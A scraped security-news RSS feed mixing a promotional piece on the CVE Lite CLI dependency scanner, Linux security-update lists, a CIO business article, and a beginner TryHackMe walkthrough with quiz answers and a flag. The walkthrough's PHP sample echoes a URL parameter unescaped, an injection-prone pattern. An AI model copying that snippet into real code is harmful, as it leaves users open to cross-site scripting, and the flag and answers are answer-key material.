<p>The Nest run has now evolved into a fuller <a href="https://github.com/sonukapoor/cve-lite-cli/blob/main/docs/case-studies/nestjs.md">case study</a> that makes the larger point clearer: the value of a local-first tool is not just that it detects issues, but that it helps developers move from scan output to a realistic remediation path in the same working session.</p>



<p>In Nest, CVE Lite CLI parsed 1,626 packages from package-lock.json and found 25 packages with known OSV matches: one high-severity issue, four medium, and 20 low. More important than the count was the structure. Twelve findings looked directly fixable in the project. Thirteen were transitive.</p>



<p>That is the kind of distinction raw counts hide. Twenty-five findings may sound alarming, but the real engineering question is how many of those can be acted on immediately. A fixability-first workflow makes that visible.</p>



<p>What the fuller Nest case study shows is that remediation is often iterative, not one-and-done. In one dependency path, resolving the issue required several tar upgrades in sequence as the dependency graph changed after each install. That is exactly where a local scan-fix-rescan loop becomes more useful than a CI-only workflow. Instead of upgrading, pushing a branch, waiting for a pipeline scanner, and discovering the next required upgrade later, the developer can keep working through the path locally until the dependency state is clean.</p>



<p>One of the strongest findings was diff@2.2.3, a high-severity transitive issue appearing through gulp-diff. The same scan also surfaced diff@4.0.2 as a medium-severity direct dependency and diff@7.0.0 as a medium-severity transitive dependency through mocha. That is a realistic picture of Node.js dependency management: the same package appearing in multiple forms, through multiple parents, with different remediation implications.</p>



<p>A weaker tool would simply tell the developer that vulnerabilities were found. CVE Lite CLI did something more useful. It exposed the dependency paths clearly enough to show why the remediation work was different in each case.</p>



<p>The same Nest scan surfaced tar@6.2.1 as a medium-severity direct dependency with fixed-version guidance, and form-data@2.3.3 as a medium-severity transitive issue through request. Those are not the same category of problem. One points toward a direct upgrade decision. The other points toward upstream dependency pressure. That is where dependency scanning stops being a checklist exercise and starts becoming real engineering work.</p>



<p>And that is where this kind of local-first dependency workflow performs well. It does not just report that something is wrong. It shows the developer what kind of wrong they are dealing with.</p>



<p>The release-it scan reinforced the same point on a smaller scale. CVE Lite CLI parsed 545 packages and found 10 packages with known OSV matches: four medium-severity and six low. Six appeared directly fixable. Four were transitive.</p>



<p>Two direct findings stood out immediately: @isaacs/brace-expansion@5.0.0 and flatted@3.3.3. Those are the kinds of issues a developer can reason about quickly. But the scan also found two minimatch findings arriving transitively through different parent chains, one through @npmcli/map-workspaces and another through glob.</p>



<p>That matters because it shows the tool is not only useful in large, messy dependency graphs. It is also useful in smaller projects where the real value comes from turning a vague dependency concern into a specific, inspectable remediation path.</p>



<p>The pnpm scan mattered for the opposite reason. CVE Lite CLI parsed 563 packages from pnpm-lock.yaml and returned no known OSV matches. That kind of result is easy to undervalue, but it should not be. A serious local workflow should not exist only to generate alerts. It should also be able to give developers confidence quickly when there is nothing obvious to fix.</p>



<p>That clean-result case is one of the reasons a lightweight local tool belongs in the workflow. Developers do not just need early warning. They also need fast reassurance.</p>



<h2 class="wp-block-heading">Bringing dependency security into the developer workflow</h2>



<p>The larger lesson here is not that open source projects are failing. It is that the developer workflow around dependency security is still immature. Teams have learned how to collect results. They have not learned how to make those results usable at the point where developers choose packages, update lockfiles, and prepare releases.</p>



<p>That is why CVE Lite CLI matters beyond the tool itself. It addresses a workflow problem that many JavaScript teams still live with every day.</p>



<p>The bigger issue is not one project or one scanner. It is whether dependency security becomes a normal part of everyday engineering practice.</p>



<p>CVE Lite CLI takes steps in that direction. It gives developers a local release check instead of forcing them to wait for CI. It gives them direct versus transitive visibility instead of flattening everything into one alarming list. It gives them dependency paths instead of vague package names with no remediation context. It gives them fixed-version guidance where possible instead of leaving them to infer the next move.</p>



<p>And because CVE Lite CLI is intentionally lightweight and narrow in scope, it is easier to trust, easier to adopt, and easier to add to a normal Node.js toolchain.</p>



<p>That point matters. Developers are already overloaded with tooling. The next tool that earns a place in the workflow will not be the one that makes the biggest promises. It will be the one that solves a real problem cleanly, honestly, and without forcing teams into a larger platform commitment.</p>



<p>That is why CVE Lite CLI has real potential. It meets developers where they already work.</p>



<p>More importantly, it points toward a broader shift in how dependency security should be understood. Security tooling is moving from vulnerability detection to vulnerability interpretation, from counting issues to understanding risk in context. That is where developer workflow becomes more important than dashboard volume.</p>



<h2 class="wp-block-heading">A missing link in the developer toolchain</h2>



<p>Dependency security should not feel like a special event. It should feel like linting, testing, or checking build output before release. In other words, it should become a normal part of the engineering loop.</p>



<p>That is the strongest case for CVE Lite CLI. It helps move security from a distant control function into an everyday developer habit.</p>



<p>For dependency paths that require more than one adjustment, a local-first, scan-fix-rescan workflow can be materially faster than relying on repeated CI feedback alone. If developers can scan lockfile-backed dependency state locally, understand what is direct, understand what is transitive, see the dependency paths, and get a credible sense of what to fix before release, then dependency security stops being abstract policy and starts becoming practical engineering.</p>



<p>That is what the JavaScript ecosystem needs more of.</p>



<p>Node.js does not need more theatrical security output. It needs better developer workflow infrastructure. It needs tools that can give clear, immediate, low-friction answers while there is still time to act. It needs tools that make dependency risk visible in the same place where dependency decisions are made.</p>



<p>A local-first, lockfile-aware workflow points in that direction.</p>



<p>And if the goal is to make dependency security a real part of everyday software engineering practice, then local-first lockfile scanning should stop being treated as a niche extra. It should become a normal part of the developer toolchain.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (freerdp, kernel, and kernel-rt), Debian (mupdf, opam, simpleeval, and xdg-dbus-proxy), Mageia (firefox, thunderbird and libtiff), Red Hat (containernetworking-plugins, gvisor-tap-vsock, nodejs22, nodejs:20, nodejs:22, perl-XML-Parser, python3.11, py...]]></description>
<link>https://tsecurity.de/de/3451650/linux-tipps/security-updates-for-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3451650/linux-tipps/security-updates-for-tuesday/</guid>
<pubDate>Tue, 21 Apr 2026 15:22:41 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (freerdp, kernel, and kernel-rt), <b>Debian</b> (mupdf, opam, simpleeval, and xdg-dbus-proxy), <b>Mageia</b> (firefox, thunderbird and libtiff), <b>Red Hat</b> (containernetworking-plugins, gvisor-tap-vsock, nodejs22, nodejs:20, nodejs:22, perl-XML-Parser, python3.11, python3.9, runc, and skopeo), and <b>SUSE</b> (bind, buildah, cockpit-subscriptions, container-suseconnect, containerd, corosync, cosign, docker, dovecot24, flatpak, freeipmi, gegl, GraphicsMagick, helm, ImageMagick, kubernetes, kubernetes-old, libpng15, LibVNCServer, ncurses, nodejs22, opensc, openvswitch, patterns-glibc-hwcaps, podman, python, python310, python312, python315, rekor, rootlesskit, roundcubemail, and runc).]]></content:encoded>
</item>
<item>
<title><![CDATA[Does IT have a value problem?]]></title>
<description><![CDATA[CIOs are challenged to communicate IT’s business value when the benefits of IT initiatives are realized in business-unit financials and workflow efficiencies. But a deeper question every CIO should ask is whether their IT department actually does have a value problem, where they might be getting ...]]></description>
<link>https://tsecurity.de/de/3451083/it-nachrichten/does-it-have-a-value-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3451083/it-nachrichten/does-it-have-a-value-problem/</guid>
<pubDate>Tue, 21 Apr 2026 12:17:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>CIOs are challenged to <a href="https://www.cio.com/article/4137669/5-tips-for-communicating-the-value-of-it.html">communicate IT’s business value</a> when the benefits of IT initiatives are realized in business-unit financials and workflow efficiencies. But a deeper question every CIO should ask is whether their IT department actually does have a value problem, where they might be getting things done but make little impact on business outcomes.</p>



<p>Here, honest evaluation is key. Research consistently shows a divide between <a href="https://www.cio.com/article/3498552/cios-must-address-its-perceived-value-problem.html">how well IT is perceived</a> to be functioning and how business executives recognize the value delivered. Examples of <a href="https://www.cio.com/article/3608282/cios-top-2025-goal-turning-around-its-sagging-reputation.html">IT’s sagging reputation</a> include low executive perception of IT services and underperforming digital investments.</p>



<p>IT operational improvements, security enhancements, and other risk-reduction programs are unfortunately recognized as core IT functions rather than strategic value drivers. Focusing IT’s value narrative on operational functions can put <a href="https://drive.starcio.com/2026/03/ai-leadership-job-at-risk-or-career-opportunity/" rel="nofollow">IT leadership positions at risk</a> when the CFO seeks cost reductions from AI or other technology benefits.</p>



<p>IT must deliver value through leadership that drives change, growth outcomes from AI and data initiatives, and improved experiences.</p>



<p>“When leadership oversimplifies IT priorities like AI by reducing value to cost savings alone, it creates a flawed framework for evaluating innovation,” says <a href="https://www.commvault.com/bios/leadership/ha-hoang" rel="nofollow">Ha Hoang</a>, CIO at Commvault. “The real opportunity isn’t just expense reduction; it’s capability expansion. And meaningful indicators of progress include improvements in operational efficiency, speed of decision-making, and customer or employee experience.”</p>



<h2 class="wp-block-heading">Value problems start with leadership</h2>



<p>The <a href="https://us.resources.cio.com/resources/state-of-the-cio/" rel="nofollow">2025 State of the CIO</a> report highlights a part of the issue around IT’s potential value problem. Even though 82% of CIOs say their roles are becoming more digital- and innovation-focused, only 50% see themselves as business leaders. Is it a lack of confidence in <a href="https://www.cio.com/article/193734/secrets-of-successful-business-it-co-creation.html">collaborating with executives</a>, gaps in <a href="https://www.cio.com/article/4085392/5-business-concepts-it-leaders-should-master.html">understanding business operations</a>, or a lingering <a href="https://www.cio.com/article/309116/6-smart-practices-for-better-business-it-alignment.html">cultural divide between business and IT</a>?</p>



<p>Whatever the cause, CIOs who show up as tech leaders first have a harder time tying investments to outcomes and communicating how IT initiatives deliver business value. There’s an urgency here, as the <a href="https://www.nashsquared.com/dlr-2025/dlr-2025" rel="nofollow">Digital Leadership Report</a> finds that digital leaders expect to stay with their employer for 3.3 years — relatively little time to demonstrate impact.</p>



<p>But it’s not just a leadership gap when business executives are underwhelmed by IT’s impact. <a href="https://www.apptio.com/resources/research-reports/2026-technology-investment-management-report/" rel="nofollow">The 2026 Technology Investment Management Report</a> from Apptio highlights confidence gaps in technology investment decisions as well. The largest such gaps include 90% being unsure of an investment’s value or ROI, 84% distrusting the data, and 82% reporting misalignment with organizational objectives.</p>



<p><strong>Recommendation: </strong>First, IT leaders must work to communicate IT’s value in business terms, aligned with strategic drivers, not in terms of what IT is doing technically or how it’s improving operations. Second, CIOs must capture the financial impacts from trusted data and AI, not just the qualitative benefits of improving data quality or instituting AI governance. Lastly, IT leaders should <a href="https://drive.starcio.com/2019/09/agile-continuous-planning-deliver-solid-roadmaps/" rel="nofollow">develop roadmaps that deliver value with every release</a>, rather than communicating short- versus longer-term benefits.</p>



<h2 class="wp-block-heading">AI amplifies the value gap</h2>



<p>IT’s value gap may have gotten worse over the past year, as CIOs have struggled <a href="https://drive.starcio.com/2026/02/why-chaotic-ai-experiments-arent-producing-business-value/" rel="nofollow">to deploy AI experiments into production</a> and <a href="https://drive.starcio.com/2025/08/genai-roi-problem-changes-cio-must-lead/" rel="nofollow">to deliver ROI from AI initiatives</a>.</p>



<p>“IT never had a value problem, but it’s had a value articulation problem,” says <a href="https://riveron.com/people/vikram-bhandari/" rel="nofollow">Vikram Bhandari</a>, chief technology and innovation officer at Riveron. “When AI ROI is framed purely as headcount reduction, IT gets boxed into a cost-center narrative. The real opportunity is using AI to scale revenue, reporting, and decision-making without linear cost growth. That’s how IT moves from cost center to strategic driver.”</p>



<p>It’s challenging to forecast and measure non-cost returns from AI investments, such as increased revenue and market share. Additionally, many AI initiatives start as experimental POCs, and organizational learning is required to identify and pursue optimal value drivers.  </p>



<p>“Measuring ROI on AI investments is critical, even when the return isn’t fully known upfront,” says <a href="https://www.linkedin.com/in/cxcio/" rel="nofollow">Ryan Downing</a>, VP and CIO of enterprise business solutions at Principal Financial Group. “What matters most is creating the space to test, learn, and pressure test assumptions so leaders can see where AI truly moves the needle. The key is aligning those early insights with the broader enterprise strategy so teams can scale what works and sunset what doesn’t. Over time, the real impact comes when those capabilities allow the organization to operate differently and unlock new growth.”</p>



<p><strong>Recommendation:</strong> Focusing on AI’s productivity and workflow efficiencies can <a href="https://drive.starcio.com/2025/02/cios-genai-roi-productivity-trap/" rel="nofollow">trap CIOs</a> into cost benefits largely realized through headcount reductions. <a href="https://drive.starcio.com/2026/04/ai-reshaping-business-not-digital-transformation-yet/" rel="nofollow">AI is only reshaping businesses</a>, and <a href="https://drive.starcio.com/2026/01/ai-agents-transforming-what-cios-must-lead-now/" rel="nofollow">AI agents are not yet driving digital transformation</a>. CIOs focusing on use cases that drive revenue, deliver new products, or transform customer experiences are steps ahead of those who use AI only to optimize operations.  </p>



<h2 class="wp-block-heading">Deliver business value through trusted data</h2>



<p>CIOs will have to partner with CFOs to address any perceptions that IT is underdelivering on financial expectations. But before approaching the CFO, CIOs should first <a href="https://www.linkedin.com/events/7401301024642134016/" rel="nofollow">partner with the CMO</a> on AI growth initiatives.</p>



<p>While 93% of marketers have a dedicated gen AI budget, only 8% are very confident in their organization’s AI governance, according to the report <a href="https://www.sas.com/en/offers/ai-for-marketers.html" rel="nofollow">Marketers and AI: Navigating New Depths</a>.</p>



<p>Therein lies a challenge CIOs can address through an <a href="https://www.cio.com/article/3984527/how-to-establish-an-effective-ai-grc-framework.html">AI governance program</a> that balances guardrails with strategy. Focusing only on risk mitigation is one way CIOs paint themselves back into a compliance narrative rather than being a partner in growth.</p>



<p>CIOs need to do both, and one important way to accomplish this is to enable <a href="https://drive.starcio.com/2026/03/citizen-analytics-ai-era-cios/" rel="nofollow">citizen analytics</a> and develop trusted data products. By developing data products, CIOs can streamline much of the upfront <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>, <a href="https://www.infoworld.com/article/3956251/measuring-success-in-dataops-data-governance-and-data-security.html">governance</a>, and <a href="https://drive.starcio.com/2025/06/data-management-cios-genai-era/" rel="nofollow">management</a> needed to deliver trusted data assets that people, tools, and AI can then use for different purposes.</p>



<p>“Creating a data product starts with knowing when it’s justified,” says <a href="https://www.linkedin.com/in/jediv/" rel="nofollow">Jed Dougherty</a>, SVP of AI and platform at Dataiku. “Look for repeatable business decisions supported by reliable, well-understood data and infrastructure capable of meeting quality and availability expectations. Measure value by linking the product to business outcomes and adoption, tracking how widely it’s used and whether it improves the decisions or processes it supports.”</p>



<p><strong>Recommendation:</strong> <a href="https://www.cio.com/article/3829602/product-based-it-6-key-steps-for-making-the-switch.html">Product-based IT organizations</a> developing data products aligned to AI strategies are seen as delivering business value to internal customers, with defined roadmaps and customer support.</p>



<h2 class="wp-block-heading">Value through delightful experiences</h2>



<p>Want a direct measure of IT’s value? Capture employee satisfaction (ESat) on the IT service desk, customer satisfaction (CSat) on digital tools provided to customers, and stakeholder satisfaction when delivering workflow-improving AI agents.</p>



<p>If satisfaction and usage aren’t improving, then chances are end-users are using alternatives. Inside the enterprise, that likely results in <a href="https://www.cio.com/article/1247890/7-steps-for-turning-shadow-it-into-a-competitive-edge.html">shadow IT</a>, an opportunity for CIOs to step in and turn around capability or usability gaps.</p>



<p>“As CIOs, when ROI is not fully clear upfront, we focus first on the real problems teams are experiencing,” says Tomás Dostal Freire, CIO and head of business transformation at Miro. “If people create work-arounds or use unofficial tools, it is usually a strong signal that something in the workflow isn’t working. Our responsibility is to formalize what already proves effective and then measure improvements in speed, quality, or delivery.”</p>



<p>Delivering a delightful user experience and improving user satisfaction metrics don’t happen by having engineers glued to screens and focused only on implementation. As IT departments leverage <a href="https://drive.starcio.com/2026/03/ai-coding-competencies/" rel="nofollow">AI’s coding capabilities</a> or adopt <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, there’s an opportunity to encourage more engineers to observe how people get work done and develop their <a href="https://www.infoworld.com/article/3712246/5-ways-tech-leaders-can-increase-their-business-acumen.html">business acumen</a>.</p>



<p><strong>Recommendation:</strong> <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/" rel="nofollow">Many SaaS platforms</a> are overhauling their user experiences to showcase agentic AI capabilities. Workflow integrations and the use of <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">MCP servers</a> to connect AI agents may lead to <a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">SaaS platform evolution and consolidation</a>. CIOs looking to demonstrate IT’s value will develop <a href="https://www.cio.com/article/4082282/preparing-your-workforce-for-ai-agents-a-change-management-guide.html">change management programs</a> to help employees build <a href="https://www.cio.com/article/4146677/the-ai-revolution-getting-culture-right-for-ai-success.html">AI literacy</a> and transition to agentic experiences.</p>



<h2 class="wp-block-heading">Recommendations for CIOs </h2>



<p>CIOs of <a href="https://www.cio.com/article/4064313/what-world-class-it-looks-like-in-the-gen-ai-era.html">world-class IT organizations</a> recognize that developing meaningful business relationships, enabling employees to experiment with AI, and promoting <a href="https://drive.starcio.com/2023/09/lifelong-learning-digital-trailblazers/" rel="nofollow">lifelong learning</a> are three key building blocks to developing an IT culture focused on delivering business value. IT’s portfolio of initiatives must include roadmaps tied to growth, and CIOs must lead communications about the business value delivered.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (.NET 10.0, .NET 8.0, .NET 9.0, delve, freerdp, giflib, go-rpm-macros, libarchive, and openexr), Debian (gimp, imagemagick, luanti, mapserver, mupdf, opam, perl, pillow, postgresql-13, and tiff), Fedora (aqualung, awstats, curl, incus, mac, mbedtls, ...]]></description>
<link>https://tsecurity.de/de/3448469/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3448469/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 20 Apr 2026 15:41:55 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (.NET 10.0, .NET 8.0, .NET 9.0, delve, freerdp, giflib, go-rpm-macros, libarchive, and openexr), <b>Debian</b> (gimp, imagemagick, luanti, mapserver, mupdf, opam, perl, pillow, postgresql-13, and tiff), <b>Fedora</b> (aqualung, awstats, curl, incus, mac, mbedtls, mingw-LibRaw, python-msal, python3.11, python3.12, python3.15, smb4k, stb, and usd), <b>Gentoo</b> (DTrace and FUSE), <b>Mageia</b> (gdk-pixbuf2.0, giflib, polkit-122, python-cairosvg, and rsync), <b>Oracle</b> (.NET 10.0, .NET 8.0, .NET 9.0, 389-ds-base, bind, freerdp, go-rpm-macros, kernel, libarchive, nodejs:20, openexr, perl:5.32, python, python3, squid:4, thunderbird, and uek-kernel), <b>Slackware</b> (tigervnc), and <b>SUSE</b> (aardvark-dns, avahi, bind, blender, Botan, bouncycastle, chromedriver, cpp-httplib-devel, flannel, gdk-pixbuf, GraphicsMagick, ignition, ImageMagick, jetty-annotations, jetty-minimal, kernel, kubo, leancrypto-devel, libcap, liblog4cxx-devel, libpng16-16, libraw, libraw-devel, NetworkManager, opam, openssl-3, openvswitch, openvswitch3, podman, polkit, python-cryptography, python-djangorestframework, python-Django, python-ecdsa, python311-Django, python311-jwcrypto, python311-Pillow, roundcubemail, skopeo, tempo-cli, and vim).]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe Putting It All Together Walkthrough]]></title>
<description><![CDATA[Putting it all together — TryHackMe WriteUpLearn how all the individual components of the web work together to bring you access to your favourite web sites.Room Link: https://tryhackme.com/room/puttingitalltogetherTask 1. Putting It All TogetherFrom the previous modules, you’ll have learned that ...]]></description>
<link>https://tsecurity.de/de/3447768/hacking/tryhackme-putting-it-all-together-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3447768/hacking/tryhackme-putting-it-all-together-walkthrough/</guid>
<pubDate>Mon, 20 Apr 2026 11:21:22 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Putting it all together — TryHackMe WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AssJecFUNiHoVCD1d60qfg.png"></figure><p>Learn how all the individual components of the web work together to bring you access to your favourite web sites.</p><p>Room Link: <a href="https://tryhackme.com/room/puttingitalltogether">https://tryhackme.com/room/puttingitalltogether</a></p><h3>Task 1. Putting It All Together</h3><p>From the previous modules, you’ll have learned that quite a lot of things go on behind the scenes when you request a webpage in your browser.</p><p>To summarise, when you request a website, your computer needs to know the server’s IP address it needs to talk to; for this, it uses DNS. Your computer then talks to the web server using a special set of commands called the HTTP protocol; the webserver then returns HTML, JavaScript, CSS, Images, etc., which your browser then uses to correctly format and display the website to you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w0W5E0M9IxRvfTix"></figure><p>There are also a few other components that help the web run more efficiently and provide extra features.</p><p>Answer the questions below</p><h4>I’ve read this…</h4><pre>No answer needed</pre><h3>Task 2. Other Components</h3><p><strong>Load Balancers</strong></p><p>When a website’s traffic starts getting quite large or is running an application that needs to have high availability, one web server might no longer do the job. Load balancers provide two main features, ensuring high traffic websites can handle the load and providing a failover if a server becomes unresponsive. When you request a website with a load balancer, the load balancer will receive your request first and then forward it to one of the multiple servers behind it. The load balancer uses different algorithms to help it decide which server is best to deal with the request. A couple of examples of these algorithms are round-robin, which sends it to each server in turn, or weighted, which checks how many requests a server is currently dealing with and sends it to the least busy server.</p><p>Load balancers also perform periodic checks with each server to ensure they are running correctly; this is called a health check. If a server doesn’t respond appropriately or doesn’t respond, the load balancer will stop sending traffic until it responds appropriately again.</p><p><strong>CDN (Content Delivery Networks)</strong></p><p>A CDN can be an excellent resource for cutting down traffic to a busy website. It allows you to host static files from your website, such as JavaScript, CSS, Images, Videos, and host them across thousands of servers all over the world. When a user requests one of the hosted files, the CDN works out where the nearest server is physically located and sends the request there instead of potentially the other side of the world.</p><p><strong>Databases</strong></p><p>Often websites will need a way of storing information for their users. Webservers can communicate with databases to store and recall data from them. Databases can range from just a simple plain text file up to complex clusters of multiple servers providing speed and resilience. You’ll come across some common databases: MySQL, MSSQL, MongoDB, Postgres, and more; each has its specific features.</p><p><strong>WAF (Web Application Firewall)</strong></p><p>A WAF sits between your web request and the web server; its primary purpose is to protect the webserver from hacking or denial of service attacks. It analyses the web requests for common attack techniques, whether the request is from a real browser rather than a bot. It also checks if an excessive amount of web requests are being sent by utilising something called rate limiting, which will only allow a certain amount of requests from an IP per second. If a request is deemed a potential attack, it will be dropped and never sent to the webserver.</p><p>Answer the questions below</p><h4>What can be used to host static files and speed up a clients visit to a website?</h4><pre>CDN</pre><h4>What does a load balancer perform to make sure a host is still alive?</h4><pre>health check</pre><h4>What can be used to help against the hacking of a website?</h4><pre>WAF</pre><h3>Task 3. How Web Servers Work</h3><h4><strong>How Web servers work.</strong></h4><p><strong>What is a Web Server?</strong></p><p>A web server is a software that listens for incoming connections and then utilises the HTTP protocol to deliver web content to its clients. The most common web server software you’ll come across is Apache, Nginx, IIS and NodeJS. A Web server delivers files from what’s called its root directory, which is defined in the software settings. For example, Nginx and Apache share the same default location of /var/www/html in Linux operating systems, and IIS uses C:\inetpub\wwwroot for the Windows operating systems. So, for example, if you requested the file <a href="http://www.example.com/picture.jpg(opens">http://www.example.com/picture.jpg(opens</a> in new tab), it would send the file /var/www/html/picture.jpg from its local hard drive.</p><p><strong>Virtual Hosts</strong></p><p>Web servers can host multiple websites with different domain names; to achieve this, they use virtual hosts. The web server software checks the hostname being requested from the HTTP headers and matches that against its virtual hosts (virtual hosts are just text-based configuration files). If it finds a match, the correct website will be provided. If no match is found, the default website will be provided instead.</p><p>Virtual Hosts can have their root directory mapped to different locations on the hard drive. For example, one.com(opens in new tab) being mapped to /var/www/website_one, and two.com(opens in new tab) being mapped to /var/www/website_two</p><p>There’s no limit to the number of different websites you can host on a web server.</p><p><strong>Static Vs Dynamic Content</strong></p><p>Static content, as the name suggests, is content that never changes. Common examples of this are pictures, javascript, CSS, etc., but can also include HTML that never changes. Furthermore, these are files that are directly served from the webserver with no changes made to them.</p><p>Dynamic content, on the other hand, is content that could change with different requests. Take, for example, a blog. On the homepage of the blog, it will show you the latest entries. If a new entry is created, the home page is then updated with the latest entry, or a second example might be a search page on a blog. Depending on what word you search, different results will be displayed.</p><p>These changes to what you end up seeing are done in what is called the Backend with the use of programming and scripting languages. It’s called the Backend because what is being done is all done behind the scenes. You can’t view the websites’ HTML source and see what’s happening in the Backend, while the HTML is the result of the processing from the Backend. Everything you see in your browser is called the Frontend.</p><p><strong>Scripting and Backend Languages</strong></p><p>There’s not much of a limit to what a backend language can achieve, and these are what make a website interactive to the user. Some examples of these languages (in no particular order :p) are PHP, Python, Ruby, NodeJS, Perl and many more. These languages can interact with databases, call external services, process data from the user, and so much more. A very basic PHP example of this would be if you requested the website <a href="http://example.com/index.php?name=adam(opens">http://example.com/index.php?name=adam(opens</a> in new tab)</p><p>(opens in new tab) If index.php was built like this:</p><p>&lt;html&gt;&lt;body&gt;Hello &lt;?php echo $_GET["name"]; ?&gt;&lt;/body&gt;&lt;/html&gt;</p><p>It would output the following to the client:</p><p>&lt;html&gt;&lt;body&gt;Hello adam&lt;/body&gt;&lt;/html&gt;</p><p>You’ll notice that the client doesn’t see any PHP code because it’s on the Backend. This interactivity opens up a lot more security issues for web applications that haven’t been created securely, as you learn in further modules.</p><p>Answer the questions below</p><h4>What does web server software use to host multiple sites?</h4><pre>Virtual Hosts</pre><h4>What is the name for the type of content that can change?</h4><pre>Dynamic</pre><h4>Does the client see the backend code? Yay/Nay</h4><pre>Nay</pre><h3>Task 4. Quiz</h3><p><strong>The Quiz</strong></p><p>Click the “View Site” button on the right. Using everything you’ve learnt from the other modules, drag and drop the tiles into the correct order of how a request to a website works to reveal the flag.</p><p>Note: When placing a tile in the correct position, it will highlight in green. When a tile is in the wrong spot, it will highlight in red. Make sure not to refresh the page, as it will reset the tiles all to blank again!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/0*rRI9IMrHFPlT-aK1"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/0*lv7hsH_tekfTL_ue"></figure><h3>Flag</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/0*ZPf_XW2qwCpFsoAq"></figure><pre>THM{YOU_GOT_THE_ORDER}</pre><blockquote><em>Thanks for reading. I hope this walkthrough was helpful.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e4ba47377ac3" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-putting-it-all-together-walkthrough-e4ba47377ac3">TryHackMe Putting It All Together Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (.NET 8.0, .NET 9.0, freerdp, libarchive, and thunderbird), Debian (chromium, openssh, and thunderbird), Fedora (aurorae, bluedevil, breeze-gtk, buildah, cockpit, extra-cmake-modules, flatpak-kcm, grub2-breeze-theme, kactivitymanagerd, kcm_wacomtable...]]></description>
<link>https://tsecurity.de/de/3442222/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3442222/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 17 Apr 2026 15:45:35 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (.NET 8.0, .NET 9.0, freerdp, libarchive, and thunderbird), <b>Debian</b> (chromium, openssh, and thunderbird), <b>Fedora</b> (aurorae, bluedevil, breeze-gtk, buildah, cockpit, extra-cmake-modules, flatpak-kcm, grub2-breeze-theme, kactivitymanagerd, kcm_wacomtablet, kde-cli-tools, kde-gtk-config, kdecoration, kdeplasma-addons, kf6, kf6-attica, kf6-baloo, kf6-bluez-qt, kf6-breeze-icons, kf6-frameworkintegration, kf6-kapidox, kf6-karchive, kf6-kauth, kf6-kbookmarks, kf6-kcalendarcore, kf6-kcmutils, kf6-kcodecs, kf6-kcolorscheme, kf6-kcompletion, kf6-kconfig, kf6-kconfigwidgets, kf6-kcontacts, kf6-kcoreaddons, kf6-kcrash, kf6-kdav, kf6-kdbusaddons, kf6-kdeclarative, kf6-kded, kf6-kdesu, kf6-kdnssd, kf6-kdoctools, kf6-kfilemetadata, kf6-kglobalaccel, kf6-kguiaddons, kf6-kholidays, kf6-ki18n, kf6-kiconthemes, kf6-kidletime, kf6-kimageformats, kf6-kio, kf6-kirigami, kf6-kitemmodels, kf6-kitemviews, kf6-kjobwidgets, kf6-knewstuff, kf6-knotifications, kf6-knotifyconfig, kf6-kpackage, kf6-kparts, kf6-kpeople, kf6-kplotting, kf6-kpty, kf6-kquickcharts, kf6-krunner, kf6-kservice, kf6-kstatusnotifieritem, kf6-ksvg, kf6-ktexteditor, kf6-ktexttemplate, kf6-ktextwidgets, kf6-kunitconversion, kf6-kuserfeedback, kf6-kwallet, kf6-kwidgetsaddons, kf6-kwindowsystem, kf6-kxmlgui, kf6-modemmanager-qt, kf6-networkmanager-qt, kf6-prison, kf6-purpose, kf6-qqc2-desktop-style, kf6-solid, kf6-sonnet, kf6-syndication, kf6-syntax-highlighting, kf6-threadweaver, kgamma, kglobalacceld, kinfocenter, kmenuedit, knighttime, kpipewire, krdp, kscreen, kscreenlocker, ksshaskpass, ksystemstats, kwayland, kwayland-integration, kwin, kwin-x11, kwrited, layer-shell-qt, libexif, libkscreen, libksysguard, libplasma, 